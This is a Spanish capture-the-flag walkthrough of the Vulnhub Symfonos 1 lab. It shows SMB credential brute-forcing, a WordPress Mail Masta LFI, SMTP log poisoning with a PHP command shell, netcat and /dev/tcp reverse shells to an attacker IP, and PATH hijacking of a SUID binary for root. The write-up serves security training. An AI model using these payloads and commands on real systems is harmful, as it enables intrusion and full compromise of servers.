Vulnhub: Symfonos 1 Write UP
INTRODUCCIÓN
Symfonos es una buena máquina para practicar enumeración de información en SMB, detección de exploits mediante LFI, envenenamiento de Log y escalada de privilegios mediante alteración del PATH.
CONFIGURACIÓN DE ENTORNO
Levantamos la máquina en nuestro Virtualbox.
Lo puedes descargar de la siguiente URL: https://www.vulnhub.com/entry/symfonos-1,322/
Configuración de la red en VirtualBox
Máquina Kali Linux:
Máquina Symfonos 1
Administrador de Red en Virtualbox
Adaptador
Servidor DHCP
Iniciamos primero symfonos para que obtenga su dirección DHCP
Iniciamos Kali
Estamos en la IP 192.168.56.101
RECONOCIMIENTO
HOST DISCOVERY
sudo nmap -sn 192.168.56.0/24
Nos devuelve 3 Ips activas:
192.168.56.1
192.168.56.100
192.168.56.101
192.168.56.102
Lo verificamos mediante un escaneo Ping:
fping -a -g 192.168.56.0/24 2>/dev/null
Aquí solo nos devuelve 3 IPs.
El tema está en cómo funcionan fping y nmap -sn:
- fping -a -g 192.168.56.0/24 manda ICMP echo requests (pings) y solo muestra los hosts que responden al ping.
- nmap -sn hace ping pero también intenta otras técnicas (como ARP requests) si está en la misma red.
En nuestro caso:
- 192.168.56.1 es la IP del adaptador host-only del propio host (Windows, el anfitrión).
- Ese adaptador normalmente no responde a ICMP echo (ping), aunque está activo.
- Por eso:
- nmap lo detecta (porque lo ve por ARP).
- fping no lo muestra (porque no hay respuesta al ping).
Sabemos que la de Kali es 192.168.56.101 por tanto, lo más probable es que la máquina symfonos tenga la 192.168.56.102
ping 192.168.56.102
A partir de los resultados de este ping, el valor del TTL (Time to Live) indica que el sistema operativo de destino es probablemente Linux o Unix.
El valor TTL es un campo en el encabezado de un paquete IP que especifica el número máximo de saltos (routers) que un paquete puede atravesar antes de ser descartado. Cuando un paquete se envía, se le asigna un valor TTL inicial. Cada vez que el paquete pasa por un router, el valor de TTL se decrementa en 1.
Los sistemas operativos establecen diferentes valores TTL iniciales por defecto. En este caso, el valor TTL mostrado en el ping es 64. Este valor es típico de los sistemas operativos basados en Linux y Unix, donde el TTL inicial por defecto es 64.
| Sistema Operativo | TTL Inicial Típico |
| Linux/Unix | 64 |
| Windows | 128 |
| macOS | 64 |
| Cisco IOS | 255 |
Aunque macOS también usa un TTL de 64, es mucho más común encontrar este valor en servidores o dispositivos IoT que a menudo ejecutan variantes de Linux. El valor de TTL puede ser modificado manualmente, por lo que esta no es una regla infalible, pero es una excelente indicación.
Ahora que sabemos que nuestro objetivo está en 192.168.56.102, configuramos el registro local de DNS. Así nos lo avisaban en la página de VulnHub
Añadir la IP al archivo /etc/hosts es por comodidad y compatibilidad con los labs, no porque sea estrictamente necesario para atacar la máquina.
Razones principales:
Nombre canónico esperado
- Muchas máquinas CTF (como Symfonos) están configuradas para usarse con un nombre de host concreto, ej: symfonos.local
- Algunos servicios, páginas web o aplicaciones pueden redirigir o depender de ese nombre de dominio en vez de la IP directa.
- Ejemplo: Si visitas http://192.168.56.102/ puede funcionar, pero hay casos en que el login o los enlaces usan http://symfonos.local/….
Comodidad
- En lugar de recordar 192.168.56.102, escribes siempre symfonos.local.
- Si el DHCP cambia la IP de la víctima, solo cambias el mapping en /etc/hosts y no todos tus scripts/ataques.
Compatibilidad con herramientas
- Algunas herramientas (ej: wpscan, gobuster, wfuzz) pueden comportarse distinto si trabajan con un nombre de dominio en vez de solo la IP.
- Además, el Host: HTTP header enviado será symfonos.local, que a veces es requerido para que la web sirva el contenido correcto.
Lo añadimos al fichero /etc/hosts:
sudo nano /etc/hosts
ENUMERACIÓN
Escaneamos nuestra máquina víctima. En los resultados se observan servicios con puertos comunes: 22 (SSH), 25 (SMTP), 80 (HTTP), 139,445 (SMB).
nmap -sV 192.168.56.102
## Ping scan
(kali㉿kali)-[~]
└─$ sudo nmap -sV 192.168.56.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 10:47 EDT
Nmap scan report for 192.168.56.102
Host is up (0.0028s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:47:D7:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.73 seconds
nmap Escaneo de puerto completo
sudo nmap -p- 192.168.56.102
Nada nuevo.
Análisis de la versión de servicios con nmap
sudo nmap -sV -A 192.168.56.102
Escaneo de vulnerabilidades de nmap
sudo nmap --script vuln 192.168.56.102
Servicios abiertos
- 22/tcp → SSH
- 25/tcp → SMTP (Postfix probable)
- 80/tcp → HTTP (Apache 2.4.25, ya visto antes con WP)
- 139/tcp → NetBIOS-SSN
- 445/tcp → SMB (Microsoft-DS)
Vulnerabilidades detectadas
- SMTP / TLS (port 25)
- Vulnerable a Anonymous Diffie-Hellman Key Exchange (ADH MitM).
- Permite ataques de Man-in-the-Middle si alguien intercepta la conexión TLS.
- SMB (ports 139/445)
- Detectada vulnerabilidad regsvc DoS en Windows 2000.
- (En este caso no aplica porque la máquina es Linux, falso positivo de script).
Vulnerabilidades no encontradas
- Exim CVE-2010-4344 → no vulnerable.
- SMB MS10-054 / MS10-061 → no vulnerable.
- HTTP → no se detectaron XSS, CSRF ni directorios sensibles (salvo /manual/).
Probamos el servivio HTTP:
La página symfonos.local no muestra nada más que una imagen
El código fuente no tiene nada sospechoso y la imagen, una vez analizada con exiftool no esconde nada en sus metadatos.
Usamos enum4linux para obtener información relevante ya que encontramos mediante nmap el servicio Samba expuesto. La idea es buscar directorios compartidos expuestos.
enum4linux 192.168.56.102
Resultados de la enumeración con enum4linux
Al analizar la información expuesta se visualiza que existe directorios compartidos /helios y /anonymous.
Probamos con helios pero no tenemos suerte:
smbclient --no-pass //192.168.56.102/helios
En las últimas líneas se observa que el script intenta conectarse.
Para el caso de /anonymous la conexión es exitosa; pero para el caso de /helios probablemente se requiera credenciales.
Procedemos a conectaremos al directorio /anonymous.
smbclient --no-pass //192.168.56.102/anonymous
Después de conectarnos a la ruta /anonymous compartida, nos encontramos un archivo “attention.txt”.
Extraemos el archivo a nuestra máquina Kali con el comando “get” y cerramos sesión
Revisamos su información.
De acuerdo con el archivo, nos indica posibles credenciales “epidioko”, “qwerty”, “baseball” y la probabilidad de que exista un usuario Zeus que sea root. La pregunta ahora es ¿esas credenciales pueden funcionar?
epidioko
qwerty
baseball
En una de las imágenes del inicio, se había encontrado dos rutas: La primera /helios y /anonymous. Entonces, probablemente, “helios” sea un nombre de usuario y además pueda ser que “helios” utilice una de las credenciales débiles encontradas.
Probamos en el servicio SSH con las credenciales, pero no se tuvo éxito. Vamos ahora a probar si alguna funciona conta SMB
Creamos un fichero que contiene el usuario helios y un fichero con los passwords.
Para probar usuarios y contraseñas contra SMB (puerto 445) con tus ficheros users.txt y passwords.txt, lo más cómodo es usar Hydra o CrackMapExec.
Con Hydra
hydra -L users.txt -P passwords.txt smb://192.168.56.102
Explicación:
- -L users.txt → lista de usuarios
- -P passwords.txt → lista de contraseñas
- smb://192.168.56.102 → protocolo + IP objetivo
Hydra irá probando todas las combinaciones.
No encuentra nada. Eso pasa mucho con Hydra contra SMB.El problema es que Hydra a veces no interpreta bien el módulo smb://.
Para SMB conviene lanzar Hydra con el módulo explícito smb
hydra -L users.txt -P passwords.txt 192.168.56.102 smb
Aquí no se usa smb://... sino solo la IP y el módulo smb.
Pero tampoco encuentra nada.
Alternativa con Medusa (más estable para SMB):
medusa -h 192.168.56.102 -U users.txt -P passwords.txt -M smbnt
Y Medusa si nos dice que la contraseña del usuario helios es qwerty
Usando el usuario “helios” con la credencial “querty” se logró acceder.
smbclient //192.168.56.102/helios -U helios
qwerty
Investigamos los archivos que se encuentran en el directorio /helios
Descargamos el contenido y salimos
Revisamos los archivos extraídos y nos indica que trabajemos en la ruta /h3l105
Al ingresa a la ruta encontrada, se detecta una aplicación basada en WordPress
symfonos.local/h3l105
Nos encontramos ante un Wordpress.
ENUMERACIÓN MANUAL DE DIRECTORIOS
Deberíamos comprobar los siguientes puntos a la hora de enfrentarnos a un Wordpress:
index.php
Revisar posibles rutas del login:
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
En esta ruta encontramos una página de login:
http://symfonos.local/h3l105/wp-login.php
Sabemos que el usuario es admin por el resultado del escaneo de WPScan posterior, pero también porque al hacer pruebas con las contraseñas que habíamos encontrado: epidioko, qwerty y baseball para el usuario helios y para el usuario admin, que es el más común en un Wordpress, la respuesta es que la contraseña para el usuario “admin” es incorrecta, lo cual confirma la existencia del usuario.
En /wp-content es la ruta principal donde estan los /plugins y /themes, cuando estás enumerando plugins o temas cuando pones X plugin y la pantalla sale blanco significa que existe, sino saldría un código de respuesta 404.
En /wp-includes están los certificados, fuentes, java script y widgets.
http://symfonos.local/h3l105/wp-includes/
Comprobar si tenemos acceso al archivo xmlrpc.php
http://symfonos.local/h3l105/xmlrpc.php
Comprobar si hay expuesto el archivo /wp-config.php.txt
Si nos encontramos que la web no se ve bien, es posible que la web este apuntando a un virtual hosting routing, cosa que podemos ver si vemos el código fuente de la web, si es así tenemos que añadir en el /etc/hosts de nuestra máquina apuntando a la IP + dominio
ENUMERACIÓN DE PLUGINS DE WORDPRESS
Vamos a tratar de enumerar los plugins de este Wordpress:
curl -s -X GET "http://symfonos.local/h3l105/" | grep -oP 'plugins/\K[^/]+' | sort -u
curl -s -X GET "http://symfonos.local/h3l105/" | grep -oP 'plugins/\K[^/]+' | sort -u
Paso por paso
- curl -s -X GET "http://symfonos.local/h3l105/"
- curl descarga el contenido HTML de la web.
- -s = modo silencioso (no muestra barras de progreso ni errores).
- -X GET = usa el método GET (aunque es el que se usa por defecto, se indica explícitamente).
Aquí obtienes el código fuente HTML de la página.
- | grep -oP 'plugins/\K[^/]+'
- grep -oP = busca con expresiones regulares en modo Perl (-P), mostrando solo la parte que coincide (-o).
- Expresión:
- plugins/ → busca esa cadena literal en el HTML.
- \K → "olvida" lo que viene antes en la coincidencia (es decir, no mostrará plugins/).
- [^/]+ → captura cualquier cosa que no sea /, hasta el próximo /.
En resumen: extrae los nombres de los plugins de WordPress encontrados en rutas como:
/wp-content/plugins/mail-masta/
/wp-content/plugins/site-editor/
devuelve solo:
mail-masta
site-editor
- | sort -u
- Ordena alfabéticamente (sort).
- -u elimina duplicados (unique).
Te quedas con una lista limpia de plugins únicos.
Resultado final
El comando te devuelve un listado único de los plugins de WordPress detectados en la página:
mail-masta
site-editor
ESCANEO DEL WORDPRESS CON WPSCAN
El primer paso será actualizar el escaner de wordpress para que tenga actualizada la base de datos de las vulnerabilidades:
wpscan --update
Desde la versión 3.7.0 de la herramienta WPScan, si deseas mostrar datos de vulnerabilidad, los usuarios deberán usar y configurar un token de API para recuperar los últimos datos de vulnerabilidad de la API de WPVulnDB.
Todas las demás funciones de la herramienta WPScan funcionarán normalmente si no usas o configuras un token de API WPVulnDB, pero cuando se detecta una versión de WordPress, una versión de complemento o una versión de tema, no obtendrás los datos de vulnerabilidad asociados, ya que proviene de la API WPVulnDB.
Funcionalidades como la enumeración de versiones de WordPress, la enumeración de complementos, la enumeración de temas, la enumeración de archivos de copia de seguridad, el forzamiento bruto de contraseña débil, la enumeración de Timthumb y todas las demás funcionalidades de WPScan CLI funcionarán normalmente, sin la necesidad de un token API.
El beneficio para los usuarios de utilizar la API WPVulnDB es que obtendrán los datos de vulnerabilidad inmediatamente después de que ingresemos a la base de datos. En este momento, con la implementación actual, los usuarios tienen que esperar hasta la mañana siguiente para usar los últimos datos de vulnerabilidad.
La API permitirá a los usuarios realizar 50 solicitudes diarias de forma gratuita.
Es por esto que resulta muy interesante que obtengamos una API desde la página oficial registrándonos de forma gratuita:
Una vez que tengamos nuestra API, para mantener el token API en un archivo de configuración y no tener que suministrarlo a través de la CLI cada vez, crearemos un archivo yml dentro de la carpeta .wpscan:
~ / .wpscan / scan.yml
que contenga lo siguiente:
cli_options:
api_token: YOUR_API_TOKEN
Escaneamos el activo con wpscan. Par aprovechar al máximo el escaneo, usaremos nuestro token de la API de wpscan. Puedes logearte en la aplicación https://wpscan.com/ y obtener tu token. La razón se debe a que wpscan requiere hacer consultas a su propia DB privada para identificar los CVE’s o exploit’s durante los escaneos.
También puedes poner tu token directamente en el comando:
wpscan --url http://symfonos.local/h3l105/ -- enumerate ap -- api-token {my_token}
Plugins Identificados:
[+] mail-masta
| [!] 2 vulnerabilities identified:
| [!] Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
| [!] Title: Mail Masta 1.0 - Multiple SQL Injection
[+] site-editor
| [!] 1 vulnerability identified:
| [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
Usuarios identificados:
admin
Tras los resultados de la enumeración y detectado un Local File Inclusion No autenticado, decidimos explotar esta vulnerabilidad:
Referencias:
https://wpscan.com/vulnerability/5136d5cf-43c7-4d09-bf14-75ff8b77bb44
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
https://www.exploit-db.com/exploits/40290/
https://www.exploit-db.com/exploits/50226/
https://cxsecurity.com/issue/WLB-2016080220
Procedemos a revisar el exploit con la información pública en internet
https://www.exploit-db.com/exploits/40290
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion
La vulnerabilidad File Inclusion permite a un atacante incluir un archivo, generalmente explotando los mecanismos de "inclusión dinámica de archivos" implementados en la aplicación de destino. La vulnerabilidad se produce debido al uso de la entrada proporcionada por el usuario sin la validación adecuada.
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
Este parece un lugar perfecto para probar LFI. Si un atacante tiene la suerte, y en lugar de seleccionar la página apropiada de la matriz por su nombre, el script incluye directamente el parámetro de entrada, es posible incluir archivos arbitrarios en el servidor.
La prueba de concepto típica sería cargar el archivo passwd:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Al revisar el exploit, vemos una POC como ejemplo que permite extraer el contenido del /etc/passwd
El plugin vulnerable
- El plugin Mail Masta de WordPress tiene un archivo PHP (count_of_send.php) que recibe un parámetro GET llamado pl.
- Ese parámetro no está validado ni sanitizado → es vulnerable a LFI (Local File Inclusion).
http://example.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Probamos la POC en symfonos.local y así se obtiene el /etc/password
El fichero /var/mail/helios suele contener el buzón local del usuario helios. También podría estar en /var/spool/mail/helios.
Probamos a acceder a la dirección:
El parámetro pl=/var/mail/helios
Lo que haces al pasar pl=/var/mail/helios es decirle al script que incluya ese archivo del sistema. Como no hay control, si el archivo existe y el proceso de Apache/WordPress tiene permisos, el contenido se inyecta directamente en la respuesta HTTP:
Accedemos al contenido del buzón de correo de helios que obtuvimos con la LFI. Eso significa que estamos viendo los correos recibidos en la cuenta local de helios.
Correo de WordPress:
From: WordPress
Your new WordPress site has been successfully... (línea ~117)
Username: admin (línea ~123)
Password: The password you chose during installation. (línea ~124)
Log in here: http://192.168.201.134/h3l105/wp-login.php (línea ~125)
Nos confirma:
- Usuario administrador: admin
- La contraseña no está en claro, sino que dice "the password you chose...". Eso significa que el atacante debe encontrarla en otro archivo o correo.
- La instalación de WordPress viene de esa IP privada (192.168.201.134), que corresponde a la máquina víctima en su red interna.
EXPLOTACIÓN
Vamos entonces a enviar un correo de prueba con sendEmail para ver si muestra que el SMTP funciona. Probamos con estos dos comandos; el primero no resulta pero el segundo si consigue enviar el email:
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25 -o tls=no
La diferencia está en cómo está configurado el servicio SMTP (Postfix) en la víctima.
🔎 Análisis de los comandos
- Primer intento (falla):
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25
- Aquí no especificas nada sobre TLS.
- Por defecto, sendEmail intenta negociar STARTTLS si el servidor lo anuncia en sus capacidades.
- El Postfix de esta máquina tiene TLS activado (recuerda en /etc/postfix/main.cf estaba:
smtpd_use_tls=yes
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
- Como la VM no está bien configurada para TLS (usa el "snakeoil" cert autogenerado y puede que el handshake no funcione con sendEmail), el cliente falla al intentar establecer la sesión segura.
- Segundo intento (funciona):
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.56.102:25 -o tls=no
- Aquí le indicas explícitamente a sendEmail que no intente STARTTLS.
- El servidor acepta también conexiones en texto plano (lo vimos en el escaneo nmap: el 25 estaba abierto, no obliga a TLS).
- Entonces el envío funciona porque se evita la negociación TLS defectuosa.
Conclusión
El primer comando falla porque sendEmail intenta TLS y Postfix no lo maneja bien en esta VM (o el cliente no lo acepta).El segundo comando funciona porque fuerza conexión en claro, saltándose STARTTLS.
Esto te dice algo muy importante para la explotación: el SMTP de la máquina acepta conexiones sin cifrar y sin autenticación, lo que te permite abusar del servicio para enviar correos internos al usuario helios.
Actualizamos y encontramos nuestro email enviado :
Hasta ahora hemos explotado el LFI que permite obtener el /etc/passwd.
Para poder obtener un RCE tenemos que aprovecharnos de otro vector de ataque. En este caso, haremos una injection de código en log del SMTP.
Esta será la injection que usaremos tal y como nos decía en https://www.exploit-db.com/exploits/40290:
Ese código PHP crea una vulnerabilidad de ejecución remota de comandos (RCE). El comando system() ejecuta un comando del sistema operativo, y la entrada ($_GET[‘comando’]) proviene directamente de la URL, sin ningún tipo de validación o filtrado.
Explicación de la vulnerabilidad
- system(): Es una función de PHP que ejecuta un comando externo y muestra la salida directamente. Por ejemplo, system("ls -la") ejecutaría el comando ls -la y mostraría la lista de archivos.
- $_GET[‘cmd’]: Esta es una variable superglobal de PHP que recupera los datos enviados a través de una petición HTTP GET. La información se pasa en la URL, por ejemplo: http://ejemplo.com/pagina.php?cmd=id. El nombre de la variable es cmd.
Cómo se explota (para obtener RCE)
Un atacante podría inyectar cualquier comando del sistema operativo en la URL para que sea ejecutado por el servidor web.
Ejemplo de ataque:
- URL maliciosa: http://ejemplo.com/pagina.php?comando=id
- En este caso, la variable $_GET['comando'] toma el valor id.
- El servidor ejecuta system("id").
- El atacante vería la salida del comando id (por ejemplo, el usuario con el que se está ejecutando el proceso: uid=33(www-data) gid=33(www-data)), lo cual le da información valiosa.
- URL más peligrosa: http://ejemplo.com/pagina.php?comando=ls%20-la
- El servidor ejecuta system("ls -la"), mostrando una lista de archivos y directorios del servidor.
- URL para obtener una shell inversa: http://ejemplo.com/pagina.php?comando=nc%20-e%20/bin/bash%2010.10.14.5%204444
- Un atacante podría usar esto para conectarse a un equipo (10.10.14.5) y puerto (4444) que esté escuchando (nc -lvnp 4444), obteniendo así una shell remota en el servidor comprometido.
Vamos entonces a enviar un email con esa injection de la siguiente manera:
telnet 192.168.56.102 25
MAIL FROM: test@test.com
RCPT TO: helios
DATA
SUBJECT:
php system($_GET['cmd']); ?>
.
Quit
Qué hacemos línea por línea y qué significa
- telnet 192.168.56.102 25→ Abres una conexión TCP al puerto SMTP (25) del servidor. Ahora hablas el protocolo SMTP en texto.
- MAIL FROM: test@test.com→ Estableces el emisor del sobre (envelope sender). Es la dirección que el servidor usará como remitente a efectos de entrega/errores. Es correcto ponerla entre <...> pero no es obligatorio en muchos servidores.
- RCPT TO: helios→ Indicas el destinatario del sobre (envelope recipient).
- Si usas solo helios, el servidor suele aplicar un dominio por defecto (p. ej. helios@symfonos.localdomain).
- Es más robusto usar la forma completa: RCPT TO:
.
- DATA→ Señalas que vas a enviar el contenido del correo (headers + body). Todo lo que envíes a partir de aquí hasta una línea que sólo contenga un . será el mensaje que se guardará o reencolará.
- SUBJECT:→ Estás intentando escribir el header Subject. Atención:
- El header correcto es Subject:
(la S mayúscula no es obligatoria, pero la forma estándar es esa). - Los headers deben ir todos juntos (cada uno Nombre: valor) y después de los headers debe haber una línea en blanco que separe headers del cuerpo del mensaje.
- → Eso lo estás enviando en el bloque DATA. Si lo mandas como cuerpo del mensaje y el MTA lo guarda en /var/mail/helios, entonces el fichero de buzón contendrá exactamente esos bytes. Eso es lo que buscas: introducir un fragmento PHP en un archivo que después puede ser incluido por la vulnerabilidad LFI.
- . (línea con solo un punto)→ Marca el fin del DATA. El servidor ahora acepta el mensaje y lo entrega al buzón del destinatario (o lo reencola, según su configuración).
- QUIT→ Cierras la conexión SMTP.
Recargamos la página del buzón pare ver si ha entrado:
view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
Y vemos que el correo a llegado:
Ahora con log del SMPT injectado o “envenenamiento de log”. Procederemos a ejecutar el comando “id” para probar si funciono el envenenamiento de log:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id
Al revisar la página web, se evidencia el “id” del usuario, es decir, se ejecutó correctamente el comando “id”:
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
ESCALADA DE PRIVILEGIOS
Conseguir una Shell
Para levantar una shell procederemos con lo siguiente:
- Usamos netcat para montar un puerto en escucha y espera la conexión desde nuestra máquina victima.
nc -lvnp 1234
- Ejecutamos el comando en la URL para establecer la conexión
symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/sh 192.168.56.101 1234
- Conexión establecida
symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/sh 192.168.56.101 1234
Para estabilizar la shell se puede aplicar cualquiera de los 2 métodos:
python -c “import pty; pty.spawn(‘/bin/bash’)”
o
python -c “import pty; pty.spawn(‘/bin/sh’)”
Una vez que has accedido a la máquina Symfonos usando Netcat (nc) y tienes una shell básica (tipo reverse shell), necesitarás convertir esa shell en una terminal totalmente interactiva.
Pasos para obtener una terminal interactiva (TTY)
1. Comprueba que tienes una shell:
Intenta ejecutar:
whoami
2. Invoca una terminal TTY:
Ejecuta este comando para mejorar la shell:
python -c 'import pty; pty.spawn("/bin/bash")'
- Si no funciona:
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Alternativa con socat, si está disponible:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:
Procedemos a buscar binarios con el flag SUID. Para ello utilizamos el comando:
find / -perm -4000 2>/dev/null
Vamos a desmenuzar el comando:
find / -perm -4000 2>/dev/null
1. find /
Le dice al comando find que empiece a buscar desde la raíz del sistema (/), es decir, en todo el sistema de archivos.
2. -perm -4000
Este criterio de búsqueda significa:
- -perm → busca ficheros con ciertos permisos.
- 4000 → es el bit SUID (Set User ID).
- El prefijo - delante indica: buscar ficheros que tengan al menos este permiso, aunque tengan otros más.
En otras palabras, busca todos los archivos con el bit SUID activado.Un binario con SUID ejecuta el programa con los permisos del propietario del archivo (generalmente root) en lugar de los permisos del usuario que lo ejecuta.
Ejemplo:/usr/bin/passwd suele tener SUID, porque un usuario normal necesita poder cambiar su contraseña, lo cual implica modificar /etc/shadow (sólo accesible por root).
3. 2>/dev/null
Esto redirige la salida de error (descriptor 2, que corresponde a stderr) hacia /dev/null (un "agujero negro" del sistema).Se usa porque find / va a entrar en muchos directorios donde no tienes permisos y mostraría muchos errores molestos. Así, se limpia la salida y sólo ves resultados útiles.
En resumen:El comando busca en todo el sistema archivos con el bit SUID activado y oculta los errores de permisos.Es un comando muy usado en auditorías de seguridad, ya que los binarios con SUID pueden ser aprovechados para escalar privilegios si están mal configurados.
La búsqueda de binarios SUID nos da un binario no estándar en /opt/statuscheck
strings /opt/statuscheck
strings /opt/statuscheck
1. strings
Es una utilidad de Linux que extrae las cadenas de texto legibles de un archivo binario u objeto.
Un archivo binario suele contener código máquina (no legible), pero a veces dentro lleva:
- Mensajes de error
- Rutas de ficheros
- Variables de configuración
- Comandos internos
- Credenciales mal protegidas (si están incluidas de forma descuidada)
strings muestra todo lo que parece texto imprimible (ASCII o Unicode) con una longitud mínima (por defecto 4 caracteres).
2. /opt/statuscheck
Aquí le estás diciendo a strings que trabaje sobre el archivo llamado statuscheck ubicado en la ruta /opt/.
- /opt/ es una carpeta típica donde se instalan aplicaciones de terceros.
- statuscheck podría ser un binario ejecutable propio de esa aplicación.
Tras usar strings sobre el binario statuscheck vemos:
curl -I H
http://lH
ocalhostH
¿Qué significa?
Esto indica que el binario ejecuta internamente el comando curl contra http://localhost.
Además, vemos la función system en el binario:
system
Eso nos dice que el programa probablemente haga algo así en C:
system("curl -I http://localhost");
La vulnerabilidad
El problema está en el uso inseguro de system() con un comando externo (curl).
- system() pasa una cadena directamente a la shell (/bin/sh), lo cual abre la puerta a inyección de comandos.
- Si el binario construye ese comando concatenando entrada del usuario (por ejemplo, un parámetro o argumento), el atacante puede inyectar ;, &&, | u otros operadores para ejecutar cualquier comando con los privilegios del binario.
Ejemplo típico:
statuscheck "; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Si el binario es SUID root (algo muy común en estos escenarios de CTF/labs), entonces la inyección permite ejecutar comandos como root, logrando escalada de privilegios.
En resumen
La vulnerabilidad es:
- Uso inseguro de system() con curl → posible Command Injection.
- Si statuscheck tiene el bit SUID root, se convierte en un vector de escalada de privilegios a root.
Ataque de PATH hijacking (secuestro del PATH).
En la carpeta /tmp podemos crear un archivo llamado curl cuyo contenido simplemente invoque la shell /bin/sh. Después le damos permisos de ejecución y modificamos la variable de entorno PATH para que /tmp aparezca en primer lugar. De esta forma, cuando ejecutemos el binario /opt/statuscheck, este intentará usar curl, pero en lugar del binario legítimo encontrará y ejecutará el falso curl que hemos colocado en /tmp.
1. Contexto
Ya vimos que el binario /opt/statuscheck hace internamente algo como:
system("curl -I http://localhost");
Cuando se usa system(), la shell (/bin/sh) buscará el binario curl dentro de las rutas que haya en la variable de entorno $PATH.
2. Lo que haces en /tmp
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
- Creas un archivo llamado curl en /tmp.
- Su contenido es /bin/sh, es decir, cuando alguien ejecute curl, realmente se abrirá una shell.
- Le das permisos de ejecución.
En la práctica, has creado un falso curl que en vez de hacer peticiones web, lanza una shell.
3. Manipulación del PATH
export PATH=/tmp:$PATH
- Antepones /tmp al PATH.
- Ahora, cuando el sistema busque un comando (curl, ls, cat, etc.), primero buscará en /tmp antes que en /usr/bin u otras rutas.
- Por lo tanto, al ejecutar /opt/statuscheck, cuando éste invoque curl, no usará el verdadero /usr/bin/curl, sino tu falso curl en /tmp.
4. Ejecución del binario vulnerable
/opt/statuscheck
- El binario intenta ejecutar curl.
- Pero debido al PATH manipulado, realmente ejecuta tu falso curl.
- Ese falso curl no hace nada más que lanzar /bin/sh.
- Si /opt/statuscheck es SUID root, la shell que obtienes será directamente root → escalada de privilegios total.
En resumen
Este ataque aprovecha que el programa vulnerable usa system("curl ...") sin ruta absoluta (/usr/bin/curl), dependiendo del PATH.
- Al colocar un binario malicioso en /tmp y poner esa ruta al inicio del PATH, suplantas el comando real.
- Cuando el programa lo ejecuta, corres tu shell en lugar del curl.
- Si el programa es SUID root, consigues root shell.
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
Una vez nos situamos en el directorio /root y listamos contenido podemos ver un archivo llamado proof.txt:
Hacemos un cat para ver el contenido:
Y obtenemos la bandera: